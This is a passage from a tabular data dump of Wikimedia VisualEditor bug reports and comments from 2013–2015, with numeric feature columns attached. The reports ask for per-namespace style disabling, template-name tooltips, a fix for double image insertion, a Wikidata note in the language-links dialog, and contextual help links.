**Severity**: enhancement",Low,25.0,1374576000,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-7abqyeltz5gnkmdn4t4n,task_description,open,True,c1,3,False,False,,3,,0.5,0.0,1.0,1.0,0.5,6.0,2.5,0.0,0.5,1.0,1.5,0.0,0.0,0.0,0.0,0.5,0.5,4.0,11.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,4.0,3.5,5.5,2.0,1.0,6.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,3.0,11.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,4.076271186440678,0.7457627118644068,"On the English Wikipedia the page title formatting level is never used in article space, although I understand it is used on some other wikis. It might be that other wikis do not use a dfferent page style.

Accordingly it would be nice to be able to remove/suppress/disable this item from the list on a per namespace (or, less ideally, per wiki) to avoid confusion to new editors. 

Unless this is absolutely trivial to implement, please regard it as a low priority enhancement request.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
248046,VisualEditor: Allow per-wiki/-namespace disabling of formatting styles e.g. page title,"Sadly not trivial, but yes, this level of flexible configuration would be nice.",,,1374591912,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7abqyeltz5gnkmdn4t4n,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1875,0.9375,"Sadly not trivial, but yes, this level of flexible configuration would be nice."
53824,VisualEditor: Display name of transclusions as a tool-tip when selected,"At en.wp a user comments:
""The tooltip with a ""puzzle"" icon that appears when clicking on a template should contain the name of the template used. This would allow readers to be aware of which template they're about to change and would make the Templates interface [[self-documenting]], teaching by example the existence of the most common templates.

For example, the next screenshot would contain the word ""Chembox"" besides the puzzle icon:""

Screenshot: [[File:VisualEditor - Template editing 1.png]]

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51827",Low,25.0,1374512400,1416249978.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-25n5vcma7cdemv6yuhj7,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,2.0,6.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,0.5,1.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,2.5,0.0,0.5,0.0,0.5,0.0,15.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,0.5,10.0,1.0,0.5,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.5,6.0,4.0,0.0,3.5,0.0,0.5,0.0,1.5,1.5,0.0,1.5,0.0,0.5,2.5,3.91044776119403,0.6791044776119404,"At en.wp a user comments:
""The tooltip with a ""puzzle"" icon that appears when clicking on a template should contain the name of the template used. This would allow readers to be aware of which template they're about to change and would make the Templates interface [[self-documenting]], teaching by example the existence of the most common templates.

For example, the next screenshot would contain the word ""Chembox"" besides the puzzle icon:""

Screenshot: [[File:VisualEditor - Template editing 1.png]]

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
245925,VisualEditor: Display name of transclusions as a tool-tip when selected,"(In reply to Alex Monk from comment #3)
> Don't we have this now? What to do about this bug?

Yes, fixed by Trevor's new context menus as of 6 months or so ago.",,,1416249978,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-25n5vcma7cdemv6yuhj7,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,19.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"(In reply to Alex Monk from comment #3)
QUOTE

Yes, fixed by Trevor's new context menus as of 6 months or so ago."
245917,VisualEditor: Display name of transclusions as a tool-tip when selected,Don't we have this now? What to do about this bug?,,,1416190833,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-25n5vcma7cdemv6yuhj7,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,14.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,14.0,0.0,14.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,0.8571428571428571,Don't we have this now? What to do about this bug?
245908,VisualEditor: Display name of transclusions as a tool-tip when selected,"(In reply to comment #1)
> What would this do when multiple templates (or other transclusions) are used
> in
> the scope of one transclusion block, like the succession boxes?

I can think of three logical options:

1. The name of the first template and some indication (perhaps an asterisk?) that there are multiple translcusions in the block, e.g. ""s-start *""

2. a list of all the items in the transclusion, e.g. for [[Alan Williams]]:

s-start
s-par
s-bef
s-ttl
s-aft
s-end

Note that above, each template is listed only once, even for multiple occurrences, showing repeats is possible also.

3. The names of the first and last templates with an indication (probably an ellipsis) that there are omitted elements, e.g. ""s-start ... s-end"" or
s-start
...
s-end

The horizontal format I'd guess might be easiest to program but would only work for templates with short names.

In either 1 or 3 there could be a way to click to see the templates that are omitted. However I'm not sure how useful that would be, so my suggestion would be to just leave passive provision for it to be added later without difficulty should it be requested.",,,1383349090,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-25n5vcma7cdemv6yuhj7,task_subcomment,,True,c1,3,False,,,17,,1.0,0.0,0.0,2.0,0.3333333333333333,4.666666666666667,1.0,0.0,0.0,0.0,2.6666666666666665,0.6666666666666666,0.0,0.6666666666666666,1.0,1.6666666666666667,0.0,6.0,8.666666666666666,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,1.6666666666666667,0.0,2.3333333333333335,1.6666666666666667,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,2.6666666666666665,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,16.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,5.0,4.0,5.333333333333333,1.3333333333333333,1.6666666666666667,6.666666666666667,0.0,0.0,0.0,0.3333333333333333,7.666666666666667,0.0,1.6666666666666667,0.0,2.3333333333333335,8.666666666666666,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,2.3333333333333335,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,3.405622489959839,0.6947791164658635,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

I can think of three logical options:

1. The name of the first template and some indication (perhaps an asterisk?) that there are multiple translcusions in the block, e.g. ""s-start *""

2. a list of all the items in the transclusion, e.g. for [[Alan Williams]]:

s-start
s-par
s-bef
s-ttl
s-aft
s-end

Note that above, each template is listed only once, even for multiple occurrences, showing repeats is possible also.

3. The names of the first and last templates with an indication (probably an ellipsis) that there are omitted elements, e.g. ""s-start ... s-end"" or
s-start
...
s-end

The horizontal format I'd guess might be easiest to program but would only work for templates with short names.

In either 1 or 3 there could be a way to click to see the templates that are omitted. However I'm not sure how useful that would be, so my suggestion would be to just leave passive provision for it to be added later without difficulty should it be requested."
245900,VisualEditor: Display name of transclusions as a tool-tip when selected,"What would this do when multiple templates (or other transclusions) are used in the scope of one transclusion block, like the succession boxes?",,,1383282851,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-25n5vcma7cdemv6yuhj7,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.481481481481482,0.9629629629629629,"What would this do when multiple templates (or other transclusions) are used in the scope of one transclusion block, like the succession boxes?"
53823,VisualEditor: Double-clicking on an image in the image finder inserts it twice,"If you open up the image finder, identify an image you want and /double/ click on it, the image finder closes and the selected image is inserted twice.

Debian/Iceweasel 17.0.7.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1374511980,1395355791.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-hkdfdeny5avjlyz74jqn,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,5.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.6363636363636364,"If you open up the image finder, identify an image you want and /double/ click on it, the image finder closes and the selected image is inserted twice.

Debian/Iceweasel 17.0.7.

--------------------------
**Version**: unspecified
**Severity**: minor"
245851,VisualEditor: Double-clicking on an image in the image finder inserts it twice,I believe we fixed this yonks ago; sorry for slow response.,,,1395355791,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hkdfdeny5avjlyz74jqn,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,1.0,I believe we fixed this yonks ago; sorry for slow response.
245846,VisualEditor: Double-clicking on an image in the image finder inserts it twice,Also in Chrome 28/Windows 7.,,,1374681230,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hkdfdeny5avjlyz74jqn,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Also in Chrome 28/Windows 7.
245841,VisualEditor: Double-clicking on an image in the image finder inserts it twice,"Screenshot

**Attached**: {F11569}",,,1374512097,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hkdfdeny5avjlyz74jqn,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7272727272727273,"Screenshot

**Attached**: {F11569}"
53816,VisualEditor: Note that Wikidata exists in the description text above the read-only language links section in the meta dialog,"In the site settings dialog you can see a list of language/interwiki links for the current article. There is a explanation text saying those can only be edited in the wikitext editor. Because of Wikidata this is now no longer true for most articles. The text should be adapted and maybe link to the corresponding Wikidata item?

--------------------------
**Version**: unspecified
**Severity**: trivial",Low,25.0,1374504240,1385506384.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-mztpccwdq5aifemh7iim,task_description,resolved,True,c1,3,True,False,False,3,,0.0,0.0,0.0,2.0,0.0,9.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,6.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,5.0,10.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,10.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,4.246913580246914,0.7283950617283951,"In the site settings dialog you can see a list of language/interwiki links for the current article. There is a explanation text saying those can only be edited in the wikitext editor. Because of Wikidata this is now no longer true for most articles. The text should be adapted and maybe link to the corresponding Wikidata item?

--------------------------
**Version**: unspecified
**Severity**: trivial"
245478,VisualEditor: Note that Wikidata exists in the description text above the read-only language links section in the meta dialog,"\o/
thanks!",,,1385506631,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-mztpccwdq5aifemh7iim,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,"\o/
thanks!"
245471,VisualEditor: Note that Wikidata exists in the description text above the read-only language links section in the meta dialog,"Change 97516 merged by jenkins-bot:
Note language links need to be edited on Wikidata

https://gerrit.wikimedia.org/r/97516",,,1385506442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mztpccwdq5aifemh7iim,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,"Change 97516 merged by jenkins-bot:
Note language links need to be edited on Wikidata

GERRIT_URL"
245465,VisualEditor: Note that Wikidata exists in the description text above the read-only language links section in the meta dialog,"Change 97516 had a related patch set uploaded by Jforrester:
Note language links need to be edited on Wikidata

https://gerrit.wikimedia.org/r/97516",,,1385392603,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mztpccwdq5aifemh7iim,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.565217391304348,1.0,"Change 97516 had a related patch set uploaded by Jforrester:
Note language links need to be edited on Wikidata

GERRIT_URL"
53798,"There should be help links in every context - dialog boxes, inspectors, etc.","I could only find one major button that leads to the help pages - the one at the top toolbar. Ideally, there should be help buttons in every context - dialog boxes, inspector, plugins, etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T53237}",Low,25.0,1374488460,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-qeadal5vtjyli2cuuxzk,task_description,open,True,c1,3,False,False,,3,,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,4.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5774647887323945,0.647887323943662,"I could only find one major button that leads to the help pages - the one at the top toolbar. Ideally, there should be help buttons in every context - dialog boxes, inspector, plugins, etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T53237}"
411488,"There should be help links in every context - dialog boxes, inspectors, etc.","We disagree with the premise; instead, there should only be help links where they are useful to explain the complexity of a control to the user. Most of this is already done, and the focus areas for this release don't have this level of complexity required. Consequently, we decided to remove this from the Q3 blockers list at the triage meeting on 2015-02-11.",,,1423879363,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,1.0,3.0,0.0,8.0,15.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,4.0,0.0,0.0,1.0,0.0,0.0,9.0,4.0,5.0,1.0,1.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,15.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.973333333333333,0.76,"We disagree with the premise; instead, there should only be help links where they are useful to explain the complexity of a control to the user. Most of this is already done, and the focus areas for this release don't have this level of complexity required. Consequently, we decided to remove this from the Q3 blockers list at the triage meeting on 2015-02-11."
410176,"There should be help links in every context - dialog boxes, inspectors, etc.","They are definitely in the i18n system, for example https://meta.wikimedia.org/wiki/MediaWiki:Visualeditor-dialog-meta-categories-defaultsort-help/en",,,1423690069,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,1.0,"They are definitely in the i18n system, for example URL"
410172,"There should be help links in every context - dialog boxes, inspectors, etc.","The relevant documentation about messages (i18n system) appears to include 
* https://www.mediawiki.org/wiki/Help:System_message
* https://www.mediawiki.org/wiki/Localisation#Adding_new_messages
* https://www.mediawiki.org/wiki/Localisation_file_format
* https://www.mediawiki.org/wiki/Help:System_message#Finding_messages_and_documentation

The last of these says ""How each message is used by MediaWiki, variables available, parameters used, limitations, et cetera is explained with the complete documentation in the qqq pseudo-language files"", with a link to here:

* https://translatewiki.net/w/i.php?title=Special%3ATranslate&task=reviewall&group=core&language=qqq&limit=5000&tux=0

On that page, if I change the Group field to any of the four VisualEditor groups, and then look for the messages that James added to all items related to one VE menu, I can't find those messages. Should I be looking somewhere else, or are the messages not in the i18n system?",,,1423689769,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,84,,2.0,0.0,0.0,1.0,1.5,3.0,0.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.0,0.0,14.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,6.0,2.5,11.5,1.0,1.5,10.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,2.0,10.0,5.5,0.5,1.0,0.0,2.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,3.791044776119403,0.7313432835820896,"The relevant documentation about messages (i18n system) appears to include 
* URL
* URL
* URL
* URL

The last of these says ""How each message is used by MediaWiki, variables available, parameters used, limitations, et cetera is explained with the complete documentation in the qqq pseudo-language files"", with a link to here:

* URL

On that page, if I change the Group field to any of the four VisualEditor groups, and then look for the messages that James added to all items related to one VE menu, I can't find those messages. Should I be looking somewhere else, or are the messages not in the i18n system?"
409719,"There should be help links in every context - dialog boxes, inspectors, etc.",">>! In T53798#1029938, @John_Broughton wrote:
> * The content of contextual help should be similar to templates: visible to everyone, each on separate page, with a related talk pages, but not necessarily editable by anyone but an admin. What //isn't// needed is some programmer-added contextual help; what is needed is a //system// so that creating and modifying contextual help is done by members of Wikipedia communities. [For example, pages could be named something like this: Help:VisualEditor/ContextHelp///label//, where ""label"" is a unique name for where the contextual help will appear.

MediaWiki already solved this problem long ago with the i18n system and the MediaWiki: system namespace. Either look at the changes made to the i18n/en.json file, or search for the text you want changed, to find out which page in the MediaWiki namespace an admin needs to change. These MediaWiki pages can also have related talk pages.


>>! In T53798#1029938, @John_Broughton wrote:
> * Contextual help should be able to include links - because linking to the relevant section (or anchor point - see WP:EIW, for example) is important when the (relatively short) contextual help isn't sufficient.

I think we could allow that, but we'd need to change OO.ui.FieldLayout to accept HTML for the 'help' configuration, and then make VE-MW parse the help messages.
",,,1423651331,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,2.5,0.0,3.5,7.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.0,1.0,0.0,2.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,5.5,0.0,12.0,0.0,3.5,8.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,3.0,7.0,8.5,0.0,2.0,0.0,3.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,3.9553571428571432,0.7589285714285714,"QUOTE
QUOTE

MediaWiki already solved this problem long ago with the i18n system and the MediaWiki: system namespace. Either look at the changes made to the i18n/en.json file, or search for the text you want changed, to find out which page in the MediaWiki namespace an admin needs to change. These MediaWiki pages can also have related talk pages.


QUOTE
QUOTE

I think we could allow that, but we'd need to change OO.ui.FieldLayout to accept HTML for the 'help' configuration, and then make VE-MW parse the help messages.
"
409717,"There should be help links in every context - dialog boxes, inspectors, etc.",">>! In T53798#1029938, @John_Broughton wrote:
> * The content of contextual help should be similar to templates: visible to everyone, each on separate page, with a related talk pages, but not necessarily editable by anyone but an admin. What //isn't// needed is some programmer-added contextual help; what is needed is a //system// so that creating and modifying contextual help is done by members of Wikipedia communities. [For example, pages could be named something like this: Help:VisualEditor/ContextHelp///label//, where ""label"" is a unique name for where the contextual help will appear.

MediaWiki already solved this problem long ago with the i18n system and the MediaWiki: system namespace. Either look at the changes made to the i18n/en.json file, or search for the text you want changed, to find out which page in the MediaWiki namespace an admin needs to change. These MediaWiki pages can also have related talk pages.


>>! In T53798#1029938, @John_Broughton wrote:
